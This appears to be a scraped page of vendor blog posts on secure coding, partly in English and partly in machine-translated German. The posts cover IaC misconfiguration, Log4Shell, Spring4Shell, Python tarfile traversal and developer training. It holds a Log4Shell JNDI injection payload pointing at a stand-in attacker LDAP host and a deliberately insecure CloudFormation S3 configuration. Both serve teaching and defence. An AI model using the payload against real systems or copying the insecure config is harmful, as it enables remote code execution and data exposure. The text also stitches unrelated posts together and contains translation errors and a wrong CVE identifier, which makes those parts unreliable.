Einblicke in sichere Codes

Threats to cybersecurity these days are ubiquitous and relentless. As more facets of our lives are digitized, the higher the stakes for cybercriminals - there is too much code to keep secure, and private data is too valuable. And, well, trying to keep up with and defend every aspect of the attack surface after programs are deployed has become almost impossible.

There are approaches that can alleviate some of these symptoms, and one of them is apparent when shrewd organizations embrace the concept of Infrastructure as Code (IaC). Of course, as with any development, there are some security pitfalls to navigate. And since developers are working on the code that generates vital infrastructure to host applications, security awareness is critical at every stage of the process.

So, how exactly would a developer new to a cloud server environment go about upskilling, learning the ropes, and approaching the build with heightened security awareness? We have created the next Coders Conquer Security series to tackle common IaC vulnerabilities, and these next few blogs will focus on steps you, the developer, can take to begin deploying secure infrastructure as code in your own organization.

Let's get started.

There is a fable from the American Old West about a man who was paranoid that bandits would attack and rob his homestead. To compensate, he invested in all kinds of security like installing an extra-strong front door, boarding up all of his windows, and keeping lots of guns within easy reach. He was still robbed one night while he slept because he forgot to lock the side door. The bandits simply found the disabled security and quickly exploited the situation.

Having disabled security features in your infrastructure is a lot like that. Even if your network has a strong security infrastructure in place, it does very little good if elements have been disabled.

Let me pose a challenge before we dive in:

Visit the link above, and youll be transported to our gamified training platform, where you can attempt to defeat a disabled security feature vulnerability right now. (Heads up: It will open in Kubernetes, but use the drop-down menu and you can choose from Docker, CloudFormation, Terraform and Ansible).

How did you do? If you still have some work to do, read on:

Security functions can be disabled for a variety of reasons. With some applications and frameworks, they may be disabled by default and must first be turned on to start functioning. It's also possible that administrators have disabled specific security functions in order to more easily perform certain tasks without getting constantly challenged or blocked, (i.e. making an AWS S3 bucket public). After their work is complete, they may forget to reactivate those disabled functions. They might also prefer to leave them turned off to make their job easier in the future.

Why disabled security features are so dangerous

Having one or more disabled security features is bad for a couple of reasons. For one, the security feature was put into infrastructure resources to protect against a known exploit, threat, or vulnerability. If it's disabled, then it won't be able to protect your resources.

Attackers will always attempt to find easily exploitable vulnerabilities first and may even use a script to run through common weaknesses. It's not unlike a thief checking all the cars on a street to see if any doors are unlocked, which is a lot easier than smashing a window. Hackers might be surprised to find that a common security defense is inactive. But when that happens, it won't take them long to exploit it.

Secondly, having good security in place and then disabling creates a false sense of security. Administrators may think they are protected from common threats if they don't know that someone disabled those defenses.

As an example of how an attacker could take advantage of a disabled security feature, consider the AWS S3 security feature of block public access. With Amazon S3 block public access, account administrators and bucket owners can easily set up centralized controls to limit public access to their Amazon S3 resources. However, some administrators encountering problems when accessing the S3 bucket decide to make it public in order to complete the task as soon as possible. If they forget to enable that security feature, an attacker will have complete access to the information stored in that S3 bucket, causing not only information disclosure but also incurring extra costs due to data transfer charges.

Lets compare some real-world code; check out these CloudFormation snippets:

Vulnerable:

CorporateBucket:
   Type: AWS::S3::Bucket
   Properties:
     PublicAccessBlockConfiguration:
       BlockPublicAcls: false
       BlockPublicPolicy: false
       IgnorePublicAcls: false
       RestrictPublicBuckets: false
     VersioningConfiguration:
       Status: Enabled
     BucketEncryption:
       ServerSideEncryptionConfiguration:
         - ServerSideEncryptionByDefault:
             SSEAlgorithm: "AES256"

Secure:

CorporateBucket:
   Type: AWS::S3::Bucket
   Properties:
     PublicAccessBlockConfiguration:
       BlockPublicAcls: true
       BlockPublicPolicy: true
       IgnorePublicAcls: true
       RestrictPublicBuckets: true
     VersioningConfiguration:
       Status: Enabled
     BucketEncryption:
       ServerSideEncryptionConfiguration:
         - ServerSideEncryptionByDefault:
             SSEAlgorithm: "AES256"

Preventing disabled security features

Stopping disabled security features from negatively harming your organization is as much a matter of policy as practice. There should be a firm policy in place stating that security features should only be disabled under very specific circumstances. Incidents where features must be temporarily disabled to work on a problem or update applications should be logged. After the required work is complete, the features should be checked to ensure that they have been fully reactivated.

If a security function must be permanently disabled in order to streamline operations, other protections should be provided to affected data to ensure that hackers won't be able to access it in the absence of the default protection. If a needed protection feature has been disabled, it's only a matter of time before an attacker finds that unlocked door and exploits the situation.

Learn more, challenge yourself:

Check out the Secure Code Warrior blog pages for more insight about this vulnerability and how to protect your organization and your customers from the ravages of other security flaws and vulnerabilities.

Ready to find and fix this vulnerability now youve read the post? Time to try an IaC gamified security challenge on the Secure Code Warrior platform to keep all your cybersecurity skills honed and up to date.

This is a weekly series covering our top eight Infrastructure as Code vulnerabilities; check back next week for more!

In einem früheren Blogbeitrag wurde der Java-Gotcha „Bitwise vs Boolean Operator“ beschrieben.

• Java-Gotchas — Bitweiser oder boolescher Operator

Wir haben eine Variante davon und einige andere Java-Gotchas zu einem lustigen kleinen Quiz namens „Challenge The Sensei“ hinzugefügt.

• scw.typeform.com/to/RGW7Q7OE

Wenn Sie den obigen Blogbeitrag gelesen haben, sind Sie an der richtigen Stelle, um mindestens eine der Fragen zu beantworten.

Aber deine Freunde vielleicht nicht. Wenn dir das Quiz Spaß macht, kannst du es mit ihnen teilen und sehen, ob sie genauso gut abschneiden wie du.

Da wir dich nicht einfach befragen wollen. Wir wollen versuchen, dies zu nutzen, um das Wissen zu vermitteln und zu kodifizieren. Deshalb haben wir ein Github-Repo erstellt, das lauffähige Codebeispiele für das Problem und die Lösung enthält.

• github.com/SecureCodeWarrior/Challenge-the-Sensei

Das ist ein Sensei aktiviertes Repo.

Wenn Sie das Repo klonen und in IntelliJ laden, vorausgesetzt, Sie haben den Secure Code Warrior Sensei IntelliJ Plugin installiert, dann wird es automatisch sehen, dass Sie einen.sensei Ordner haben, und lädt die Sensei-Rezepte.

Wenn Sie den Code in der IDE durchsuchen, sollten Sie sehen, dass IntelliJ Sie darauf hinweist, dass der Fehler im Code vorhanden ist, und das sollte es einfacher machen, den Fehler im Code zu erkennen:

• Bewegen Sie den Mauszeiger über den hervorgehobenen Code, dann wird eine Aufforderung angezeigt, die Sie über den Fehler informiert.
• Verwenden Sie die Taste Kontextaktion anzeigen: Alt+Enter (Windows) Option+Enter (macOS) und wir haben möglicherweise einen QuickFix verfügbar, der den Code korrigieren kann.

Sensei-Rezepte wurden hinzugefügt für:

• Bitweise Operatoren
• IP-Adresse aufteilen
• Bestellung geltend machen

Wir fügen in Zukunft weitere Rezepte und mehr erklärenden Text hinzu, um den Rest des Codes abzudecken... aber lassen Sie sich dadurch nicht davon abhalten, sich den Code anzusehen und den Fehler selbst zu erkennen.

Und vergiss nicht, das Quiz auszuprobieren und“Fordere den Sensei heraus„

Am 9. Dezember wurde ein 0-Tage-Exploit in der Java-Bibliothek Log4j veröffentlicht. CVE-44228, synchronisiert Log4-Shell, wurde als „hoher Schweregrad“ eingestuft, da der Exploit zur Remotecodeausführung führen kann (REIS). Darüber hinaus ist log4j-core eine der am häufigsten verwendeten Java-Logging-Bibliotheken und gefährdet daher Millionen von Anwendungen.

Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern?

Wir haben ein Showcase erstellt, das Sie von der Grundidee von Log4Shell bis hin zu den Exploits dieser Sicherheitslücke in einem Simulator namens Mission führt. In dieser Mission zeigen wir Ihnen, wie sich die Log4j-Sicherheitslücke auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase zu springen, oder lesen Sie weiter, um mehr über die Sicherheitsanfälligkeit im Detail zu erfahren.

Alte Neuigkeiten?

Der Exploit ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 haben Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh betonte das“Anwendungen sollten keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen„und veranschaulichte, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen kann. Und genau das ist der Kern von Log4Shell.

Angriffsvektor

Die Injektionsnutzlast von Log4Shell sieht so aus:

$ {jndi: ldap: //attacker.host/xyz}

Um das zu verstehen, müssen wir über Javas Expression Language (EL) Bescheid wissen. Ausdrücke, die in der folgenden Syntax geschrieben sind: $ {expr} wird zur Laufzeit ausgewertet. $ {java:version} gibt beispielsweise die verwendete Java-Version zurück.

Als nächstes gibt es JNDI, oder Java-Benennungs- und Verzeichnisschnittstelle, eine API, die es ermöglicht, mithilfe von Protokollen wie LDAP, DNS, RMI usw. eine Verbindung zu Diensten herzustellen, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt: In unserem obigen Beispiel für bösartige Nutzdaten führt JNDI eine Suche auf dem vom Angreifer kontrollierten LDAP-Server durch. Die Antwort könnte beispielsweise auf eine Java-Klassendatei hinweisen, die bösartigen Code enthält, der im Gegenzug auf dem anfälligen Server ausgeführt wird.

Was diese Sicherheitslücke so problematisch macht, ist, dass Log4j alle Logeinträge auswertet und nach allen protokollierten Benutzereingaben sucht, die in EL-Syntax mit dem Präfix „jndi“ geschrieben sind. Die Nutzlast kann an jeder Stelle eingefügt werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Außerdem HTTP-Header, wie die Benutzer-Agent und X-Forwarded-Fürund andere Header können so angepasst werden, dass sie die Nutzlast tragen.

Um den Exploit selbst zu erleben, gehe zu unserem Showcase und springe zu Schritt 2 — „Wirkung erleben“.

Prävention: Sensibilisierung

Ein Upgrade ist die empfohlene Maßnahme für alle Anwendungen, da Log4j den anfälligen Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch ein DDoS und andere Sicherheitslücken, was bedeutet, dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.

Als Entwickler, die Code schreiben, müssen wir die Sicherheit jederzeit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen beeinträchtigt werden kann, von denen wir naiverweise annehmen, dass sie sicher sind.

Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können Entwickler nur so viel tun, als anfällige Komponenten über Software von Drittanbietern eingeführt werden. Auf der anderen Seite wurde die Lektion, die daraus gezogen wurde, immer wieder wiederholt, nämlich Benutzereingaben niemals zu vertrauen.

Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um Sicherheitslücken im Code zu verhindern. Da SCW umfangreiche Schulungen speziell für das Programmierframework anbietet, konnten Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre von SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.

Insbesondere für Java-Entwickler bietet Secure Code Warrior Sensei, ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Codeanalyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Sicherheitslücken zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten verwenden Kochbücher. Stöbern Sie in unseren Rezepte, und vergessen Sie nicht, unsere herunterzuladen Log4j Kochbuch was Ihnen helfen wird, die Log4Shell-Sicherheitslücke im Handumdrehen zu finden und zu beheben.

Verbessere deine Fähigkeiten in der Verteidigung gegen Log4Shell

Interessiert daran, das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umzusetzen? Unser Showcase kann Ihnen helfen. Zu Beginn des Showcases erhalten Sie einen kurzen Überblick über diese Sicherheitslücke. Anschließend werden Sie in eine simulierte Umgebung geleitet, in der Sie den Exploit anhand von Anleitungen ausprobieren können.

‍

Vor Kurzem haben Spring-Bibliotheken, eine der beliebtesten Bibliotheken in der Java-Community, zwei Sicherheitslücken im Zusammenhang mit Remote Code Execution (RCE) aufgedeckt. Um Ihnen das Verständnis zu erleichtern, ob Sie durch eine der Sicherheitslücken gefährdet sind und welche Maßnahmen Sie ergreifen müssen, haben wir die bekannten Details für „Spring4Shell“ und „Spring Cloud Function“ aufgeschlüsselt.

Sicherheitslücke 1 — „Spring4Shell“ (CVE-2022-22965)

Am 29. März 2022 entdeckte die Community eine Reihe von Tweets, die Screenshots eines Machbarkeitsnachweises eines Exploits gegen Spring Core (SC) enthielten, der die Remote-Code-Ausführung für alle Versionen von Spring Core ermöglicht, einschließlich der zuletzt veröffentlichten Version 5.3.17.

Welche Anwendungen sind gefährdet?

Derzeit wurde bestätigt, dass nur Anwendungen, die auf Tomcat gehostet werden, von diesem neuen Exploit bedroht sind. Es wurde zwar nicht nachgewiesen, dass der Exploit gegen den Embedded Tomcat Servlet Container oder andere Anwendungen, die nicht von Tomcat gehostet werden, erfolgreich ist, aber das schließt nicht aus, dass sich die Bedrohung dieser Frameworks in Zukunft als erfolgreich erweisen könnte.

Spring hat einen offiziellen veröffentlicht Aussage über die Sicherheitsanfälligkeit, in der klargestellt wird, dass die folgenden Bedingungen erfüllt sein müssen, um nach derzeitigem Verständnis der Sicherheitsanfälligkeit gefährdet zu sein:

• JDK 9 oder höher
• Apache Tomcat als Servlet-Container
• Als traditionelles WAR verpackt (im Gegensatz zu einer ausführbaren Spring Boot-Jar)
• Spring-Webmvc- oder Spring-Webflux-Abhängigkeit
• Spring Framework-Versionen 5.3.0 bis 5.3.17, 5.2.0 bis 5.2.19 und ältere Versionen

Wie funktioniert die „Spring4Shell“ -Ausbeutung?

Die Ausnutzung basiert auf der Verwendung von „Data Binding“ (org.springframework.web.bind.WebDataBinder) in Anfragen, die Plain Old Java Objects (POJO) in der Methodensignatur verwenden:

Wobei die Foo-Klasse eine POJO-Klasse ist, die wie folgt definiert werden könnte. Beachten Sie, dass die eigentliche Klasse nicht wichtig ist, solange sie vom Class Loader geladen wird.

Wenn eine Anfrage mit einer solchen Methode bearbeitet wird, wird der Class Loader verwendet, um die Klasse aufzulösen. Der Class Loader ist dafür verantwortlich, Klassen zur Laufzeit zu laden, ohne dass zuerst alle möglichen Typen in den Speicher geladen werden müssen. Er findet heraus, welche JAR-Datei geladen werden muss, wenn eine neue Klasse verwendet wird.

Die aktuellsten und detailliertesten Informationen zu dieser Sicherheitsanfälligkeit finden Sie direkt von Spring auf ihrer Blogbeitrag, einschließlich möglicher Korrekturen oder Problemumgehungen.

Sicherheitslücke 2 — Spring Cloud-Funktion (CVE-2022-22963)

Am 27. März 2022 veröffentlichte Cyber Kendra Details zu einer 0-tägigen Remote Code Execution (RCE) -Sicherheitslücke in Spring Cloud Functions, für die es keinen Patch gab. Der Sicherheitslücke wurde die ID zugewiesen CVE-2022-22963: Sicherheitslücke beim Zugriff auf Spring Expression-Ressourcen.

Welche Anwendungen sind gefährdet?

Die Sicherheitsanfälligkeit betraf Anwendungen unter den folgenden Bedingungen:

• JDK 9 oder neuer
• Spring Cloud Functions Version 3.1.6 (oder niedriger), 3.2.2 (oder niedriger) oder jede nicht unterstützte Version

Wie funktioniert die Ausbeutung?

Spring Cloud Function bietet Entwicklern die Möglichkeit, zu konfigurieren, wie das Routing über die Eigenschaft spring.cloud.function.routing-expression gehandhabt wird, was normalerweise über Konfiguration oder Code erfolgt. Dies ist eine leistungsstarke Funktion, die die „Spring Expression Language“ (SPel) akzeptiert. Durch diese 0-Day-Sicherheitslücke haben wir herausgefunden, dass diese Eigenschaft über die HTTP-Header einer Anfrage gesetzt werden kann. Dies bedeutete, dass ein Angreifer SPel-Code direkt in seine HTTP-Anfrage an einen RoutingFunction-Endpunkt einbetten und so beliebigen Code ausführen konnte.

Welche Maßnahmen sollten Benutzer ergreifen, um das Risiko zu mindern?

Der Frühling hat veröffentlicht Versionen 3.1.7 und 3.2.3, um dieses Problem zu beheben, indem sie nicht zulassen, dass diese Eigenschaft über HTTP-Header gesetzt wird, wodurch die Sicherheitsanfälligkeit gemindert wird. Nach dem Upgrade auf eine der Versionen sind keine weiteren Schritte erforderlich.

Möchten Sie mehr darüber erfahren, wie wir Entwicklern helfen, sichereren Code zu schreiben? Eine Demo buchen oder lesen Sie unsere kostenlosen Richtlinien zur sicheren Codierung unter sicherer Code-Coach.

‍

Quellen

• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
• https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/

‍

Recently, a team of security researchers announced their finding of a fifteen year old bug in Python’s tar file extraction functionality. The vulnerability was first disclosed in 2007 and tracked as CVE-2007-4559. A note was added to the official Python documentation, but the bug itself was left unpatched.

This vulnerability could impact thousands of software projects yet many people are unfamiliar with the situation or how to handle it. That’s why, here at Secure Code Warrior, we’re giving you the opportunity to simulate exploiting this vulnerability yourself to see the  impact first-hand and get some hands-on experience in the mechanics of this persistent bug, so you can better protect your application!

Try the simulated Mission now.

The vulnerability: path traversal during tar file extraction

Path or directory traversal happens when unsanitized user input is used to construct a file path, allowing an attacker to gain access to and overwrite files, and even execute arbitrary code. 

The vulnerability exists in Python’s tarfile module. A tar (tape archive) file is a single file, called an archive. It packages together multiple files along with their metadata, and is usually recognized by having the .tar.gz or .tgz extension. Each member in the archive can be represented by a TarInfo object, which contains metadata, such as the file name, modification time, ownership, and more.

The risk arrises from the archives ability to be extracted again.

When being extracted, every member needs a path to be written to. This location is created by joining the base path with the file name: 

Once this path is created, it’s passed on to the tarfile.extract or tarfile.extractall functions to perform the extraction: 

The issue here is the lack of sanitization of the filename. An attacker could rename files to include path traversal characters, such as dot dot slash (../), which would cause the file to traverse out of the directory it was meant to be in and overwrite arbitrary files. This could eventually lead to remote code execution, which is ripe for exploitation. 

The vulnerability appears throughout other scenarios, if you know how to identify it. In addition to Python’s handling of tar files, the vulnerability exists in the extraction of zip files. You may be familiar with this under another name, such as the zip slip vulnerability, which has manifested itself in languages other than Python!

LINK TO MISSION 

How can you mitigate risk?

Despite the vulnerability being known for years, the Python maintainers consider the extraction functionality to be doing what it’s supposed to do. In this case, some may say “it’s a feature, not a bug.” Unfortunately, developers can’t always avoid extracting tar or zip files from an unknown source. It’s up to them to sanitize the untrusted input to prevent path traversal vulnerabilities as part of secure development practices.

Want to learn more about how to write secure code and mitigate risk with Python?

Try out our Python challenge for free.

If you’re interested in getting more free coding guidelines, check out Secure Code Coach to help you stay on top of secure coding practices.

‍

‍

Micha Martinez ist Cybersicherheitsanalyst und Kameramann bei Nelnet, einem US-Konzern, der sich mit der Verwaltung und Rückzahlung von Studentendarlehen und Finanzdienstleistungen im Bildungswesen befasst. Als er mit der Entwicklung eines Schulungsprogramms für Entwickler rund um sicheres Programmieren beauftragt wurde, beschritt er kreative Wege, um sein Team einzubeziehen. Wir waren so beeindruckt, wie er sein Schulungsprogramm für sicheren Code durchführt, dass wir uns mit ihm zusammengesetzt haben, um mehr zu erfahren.

Die Quintessenz?

Schaffen Sie eine Sicherheitskultur und fördern Sie Ihre internen Sicherheitsexperten aus Ihren Entwicklungsteams, „die Kraft des Guten zu sein“.

„Indem wir uns auf sicheren Code konzentriert haben, haben wir dazu beigetragen, das Unternehmen stärker und sicherer zu machen.“

Bei Nelnet wussten Micha und sein Sicherheitsteam von Anfang an, wie wichtig es ist, sicheren Code zu erstellen. Sie wollten dies auf ansprechende, relevante und lohnende Weise erreichen. Er stellte fest, dass durch die Identifizierung von Entwicklern mit ausgeprägtem Interesse und guten Kenntnissen im Bereich sichere Programmierung und deren Förderung zu Sicherheitsexperten diese Champions zum Katalysator für eine Änderung der Denkweise in Bezug auf Sicherheitsschulungen insgesamt wurden. Diese Personen betreuen ihre Kollegen, die mehr Hilfe benötigen, auf Peer-to-Peer-Ebene und werden zu Vorreitern bei der Umsetzung von Änderungen der Sicherheitscode-Praktiken innerhalb des Unternehmens.

Hier erfahren Sie mehr von Micha darüber, wie er und sein Team die Denkweise und Kultur rund um die Sicherheitsprävention verändert haben, was ihr Unternehmen „stärker und sicherer“ gemacht hat.

Es geht nur darum, damit zu prahlen... und um die Reduzierung von Sicherheitslücken

Micha führt kein durchschnittliches Sicherheits-Trainingsprogramm durch. Er nutzt den Wettbewerb und seine kinematografischen Talente, um Turniere äußerst spannend und erfolgreich zu gestalten. Was Entwickler gewinnen, ist hochrelevantes, praktisches Wissen, das zu einem stärkeren Sicherheitscode führt.

Auch das Unternehmen gewinnt, da seine Produkte sicherer werden und ein höheres Maß an Schutz vor Softwareschwachstellen bieten. Das Erlernen von Softwaresicherheit muss keine typische und langweilige Lernerfahrung sein, bei der es kaum mehr ist, als ein Kästchen anzukreuzen. Entwickler wünschen sich Trainingserfahrungen, die eindringlich und herausfordernd sind und für ihre tägliche Arbeit relevant sind.

Schau dir an, wie Micha darüber spricht, wie er sicheres Programmieren Spaß macht, indem er Turniere veranstaltet, darunter physische Meisterschaftsgürtel a la Wrestle Mania als Preis. Alles, was es braucht, ist ein wenig gesunder Wettbewerb, um die Sicherheit seines Teams an erster Stelle zu haben.

Wer liebt es nicht, ein paar Prahlereien zu haben?

‍

Machen Sie sich eine Kultur zu eigen, in der sicheres Programmieren im Mittelpunkt steht... das Tool reicht nicht aus

Micha hinterließ uns einen letzten Gedanken darüber, warum er Secure Code Warrior empfiehlt. Die Plattform war das Mittel, das ihn dazu veranlasste, eine präventive Kultur und proaktives Lernen zu schaffen. Es hat einige Zeit gekostet, das Schulungsprogramm aufzubauen und auch in die Entwickler zu investieren, die gut geschult sind und gute Leistungen erbringen. Es bedarf einer transformativen Kultur, um die Fähigkeiten jedes Entwicklers zu entwickeln, um einen präventiven Ansatz für sicheres Programmieren zu verfolgen.

Hier mehr von Micha darüber, warum die Einführung einer Kultur der sicheren Codierung bei Secure Code Warrior den Unterschied ausmacht.

Secure Code Warrior bietet Entwicklern eine immersive und ansprechende Lernplattform für sicheres Programmieren. Interessiert an einer Demo? Buchen Sie unten eine.

Wir haben uns mit Larry Maccherone getroffen Kontrast & Sicherheit, der führende Anbieter von modernisierter Anwendungssicherheit, der Codeanalyse und Angriffsprävention direkt in die Software integriert. Wir haben besprochen, wie kontextuelles Lernen erfolgreich funktioniert, um Entwickler im sicheren Programmieren auszubilden.

Entwickler von heute haben zunehmend die Aufgabe, die Cybersicherheitsverletzungen von morgen zu stoppen. Schulungen zu Code-Schwachstellen sind zwar verfügbar, werden aber oft in uninteressanten Formaten angeboten, die für die tägliche Arbeit der Entwickler nicht relevant sind. Entwickler müssen schnell Code schreiben, um den Kundenanforderungen gerecht zu werden, was wiederum Geschäftsziele wie Schulungen nach hinten verschiebt. Und wenn diese Schulung außerhalb des Kontextes und in Form von langen Präsentationen oder Studienhandbüchern angeboten wird, wird sie noch schwieriger, sodass der Nutzen des zusätzlichen Aufwands kaum zu erkennen ist.

Wie können Unternehmen Entwicklern wichtige Sicherheitsschulungen anbieten, ohne ihre täglichen Aufgaben zu unterbrechen oder sie von bevorzugten Tools und Workflows fernzuhalten?

Die Antwort ist einfach. Indem wir kontextbezogenes Lernen nutzen und den Entwicklern Schulungen direkt zur Verfügung stellen. Larry erklärt im folgenden Video, warum dies für Entwickler so nützlich ist.

‍
Durch die Integration von Schulungsmöglichkeiten, während Entwickler Codeprobleme prüfen, erhalten sie sofort die Informationen, die für das identifizierte Problem oder die Sicherheitslücke am relevantesten sind. Da die Schulung in kleineren und leichter verdaulichen Teilen angeboten wird, ist es außerdem wahrscheinlicher, dass Entwickler die Informationen behalten und die Verwendung von anfälligem Code in Zukunft verhindern. Wie Larry es ausdrückt: „Feedback ist der Schlüssel zum Lernen“.

Unter dem Strich müssen Entwickler in kürzerer Zeit mehr erledigen und sicheren, qualitativ hochwertigen Code liefern. Durch das Einbinden von Schulungen, die kontextualisiert und spezifisch auf die Code-Schwachstelle zugeschnitten sind, werden die Arbeitsabläufe und die Erfahrung der Entwickler optimiert und ihre Kundenbindung erhöht. Erfahren Sie von Larry, wie Sie sich diese 40 Stunden Training sparen können!

‍
Secure Code Warrior bietet technische Integrationen, die Ihren Entwicklungs- und Sicherheitsteams kontextbezogenes und hyperrelevantes Lernen ermöglichen.

Interessiert an einer Demo? Buchen Sie unten eine.

‍

Der Software Development Lifecycle (SDLC) scheint harmlos genug zu sein; es ist ein Prozess, und wir Softwareentwickler kommen alle zusammen, um die Magie Wirklichkeit werden zu lassen und all die digitalen Dinge zu versenden, ohne die die Gesellschaft nicht leben kann.

Außer... wenn du schon einmal Teil eines Softwareentwicklungsprojekts warst, weißt du, dass es normalerweise ein Spießrutenlauf ist, mit vielen Quests, die es zu erobern gilt, und Drachen, die es zu töten gilt. Eine Zeit lang macht es Spaß, aber Burnout ist real, und die Nachfrage nach Software lässt uns alle in den besten Zeiten mit Lichtgeschwindigkeit arbeiten, besonders das Entwicklungsteam.

Stellen Sie sich nun vor, sie erhalten eine weitere wichtige Aufgabe... die Verantwortung für die Sicherheit der Projektelemente, mit denen sie zu tun haben. Im schlimmsten Fall kann dies dazu führen, dass das Kartenhaus für einige Personen zusammenbricht, aber das realistischere Szenario ist, dass es einfach nicht zur Priorität erklärt wird und die Probleme, die als dringlicher erachtet werden, um die Grenze zu überschreiten, Vorrang haben. Und wenn die meisten Entwickler nicht darin geschult sind, sicher zu programmieren (insbesondere, wenn auch ihre Manager der Sicherheit keine Priorität einräumen), ist es kein Wunder, dass wir häufig Datenschutzverletzungen, fehlerhafte App-Veröffentlichungen und eine ernsthafte Abwanderung unter Sicherheitsexperten beobachten, die unter einer Lawine von fehlerhaftem Code ihre Belastungsgrenze erreicht.

Entwickler brauchen einen AppSec-Befürworter.

Wenn Sie sich das obige Szenario ansehen, können Sie verstehen, warum die Sicherheit während des Codierungsprozesses in den „zu schwierigen“ Korb gelegt wird und dem Sicherheitsteam überlassen wird, sich darum zu kümmern. Zu viele konkurrierende Termine, zu wenig Schulung und kein wirklicher Grund, sich bei allem anderen um die Sicherheit zu kümmern. Es besteht jedoch einfach zu viel Nachfrage nach Code, als dass dieser Status Quo so weitergehen könnte. Und hier können sich Super-Elite-Entwickler von ihren Mitbewerbern abheben, neue Fähigkeiten erlernen und vor allem sichereren Code erstellen.

Es ist jedoch wichtig, sich daran zu erinnern, dass nicht alles auf den Schultern der Entwickler liegt, die Softwaresicherheit zu verwalten — das ist immer noch die Domäne des AppSec-Teams (das, wenn es mit sicherheitsbewussten Entwicklern zusammenarbeitet, mehr Luft zum Atmen hat, anstatt häufig auftretende Fehler wiederholt zu beheben). Ein funktionierender DevSecOps-Prozess erfordert, dass jedes Teammitglied über die Unterstützung und die Tools verfügt, die es benötigt, um gemeinsam die Verantwortung für die Sicherheit zu übernehmen, und richtige Art von Training ist von größter Bedeutung. Die richtige Auswahl an Tools und Schulungen erfordert das Wissen von AppSec-Experten, die bereit sind, eng mit Entwicklern zusammenzuarbeiten, um sie zu inspirieren und positive Veränderungen voranzutreiben.

Disruptive Schulungen sind eher lästig als effektiv, und alles, was Entwickler abschreckt, wird nicht funktionieren. Eine Alternative ist eine IDE- oder Issue-Tracker-integrierte Lösung, die sich auf gebündeltes Wissen konzentriert, und sie erhält die richtigen Informationen genau in dem Moment, in dem sie benötigt werden.

So funktioniert es in Aktion:

Just-in-time, nicht „nur für den Fall“.

Kontextuelles, praktisches Lernen ist bei weitem die effektivste Art zu trainieren, da mundgerechte Brocken genau dann geliefert werden, wenn sie am sinnvollsten sind. Dies wird manchmal auch als „Just in Time“ (JiT) -Training bezeichnet und ist für Entwickler, die sicheres Programmieren lernen, sehr hilfreich.

Mit Ursprüngen in Die Prinzipien der schlanken Fertigung von Toyota, Das JiT-Training ist so konzipiert, dass es nach Bedarf und im Kontext aktiviert wird, wenn es am wichtigsten ist. Hat ein Entwickler gerade etwas geschrieben, das anscheinend falsche Berechtigungen hat? Was wäre, wenn eine kleine Hintertür geöffnet würde, die es einem Angreifer ermöglicht, Code aus der Ferne auszuführen? Es wird viel einprägsamer sein, wenn Entwickler genau dann auf Wissen zugreifen können, wenn sie es benötigen, anstatt die Dokumentation in Confluence durchzuforsten oder etwas zu googeln, das in der Schulung angesprochen wurde.

Just-in-Time ist das Gegenteil von Lernen für alle Fälle. Letzteres ist zwar die gängigere Art der Wissensvermittlung, aber einfach nicht effizient. Wir müssen es Entwicklern leichter machen, sich mit bewährten Methoden für sicheres Programmieren zu beschäftigen und die Vorteile einer Weiterbildung für ihre Karriere zu erkennen, während sie sich gleichzeitig auf die wichtigsten Ziele konzentrieren, an denen sie gerade arbeiten.

Hören Sie auf, Entwickler dazu zu bringen, dem Training nachzujagen.

Wir wissen bereits, dass an einem Arbeitstag zu viel los ist. Welchen Anreiz haben Entwickler also, in ein Klassenzimmer zu gehen oder den Kontext zu wechseln, um fünf Schritte zu durchlaufen, um an Schulungen teilzunehmen, die auf statischen Theorien basieren?

Der allgemeine Konsens ist, dass alles, was die meisten Unternehmen tun, nicht besonders effektiv ist, wenn man die Anzahl der Sicherheitslücken, die zu Datenschutzverletzungen führen, bedenkt. Im Bericht von Verizon zur Untersuchung von Datenschutzverletzungen 2020 heißt es dazu 43% der Datenschutzverletzungen könnten auf Sicherheitslücken im Internet zurückgeführt werden. Entwickler werden weder im Tertiärbereich noch im Rahmen von Weiterbildungsmaßnahmen am Arbeitsplatz effektiv geschult. Wenn ja, häufige Sicherheitslücken wie SQL Injection und Old-School Pfaddurchquerung würde nicht für erhebliche Datenabgaben ausgenutzt werden, und der Fachkräftemangel im Bereich Cybersicherheit wäre nicht außer Kontrolle geraten.

Wenn wir also wissen, dass dies das aktuelle Klima ist, in dem Entwickler geschult werden und sich mit Sicherheit vertraut machen, warum sind wir dann überrascht über das schlechte Ergebnis? Es könnte sich sowohl für den Entwickler als auch für das Unternehmen positiv auswirken, wenn es darum geht, ein reibungsloseres, integrierteres und weniger störendes Schulungserlebnis zu gewährleisten, bei dem die Schulung in den Bereichen, in denen sie tatsächlich arbeiten, wie Jira, GitHub und in der IDE, zugänglich ist. Die Branche muss einfach vorankommen und das Sicherheitsbewusstsein deutlich verbessern, und das in einem Umfeld, in dem dies kein Luxus mehr ist.

Bereit, den Entwicklungsworkflow abzusichern?

